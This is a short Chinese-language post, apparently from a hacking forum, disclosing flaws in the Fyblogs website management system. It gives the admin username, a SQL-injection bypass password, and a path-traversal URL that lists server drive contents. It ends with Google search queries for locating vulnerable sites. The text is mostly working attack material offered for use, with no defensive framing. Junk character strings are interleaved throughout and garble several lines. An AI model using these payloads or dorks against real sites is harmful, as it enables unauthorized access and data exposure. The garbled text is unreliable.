Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'

3 Q9 ~9 X3 N3 C. D* {" h2 E0 _后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
& N8 n, _/ S, S2 padmin/uploadfile.asp?currentFolder=/upfiles/../
1 K% v, h0 @2 F, s9 [& D
) {- O  u$ B3 K漏洞证明：

- p) {3 P* o9 J/ S+ \# p: _0 R& [谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?

* f  u  Y. F( w# E' i( t- j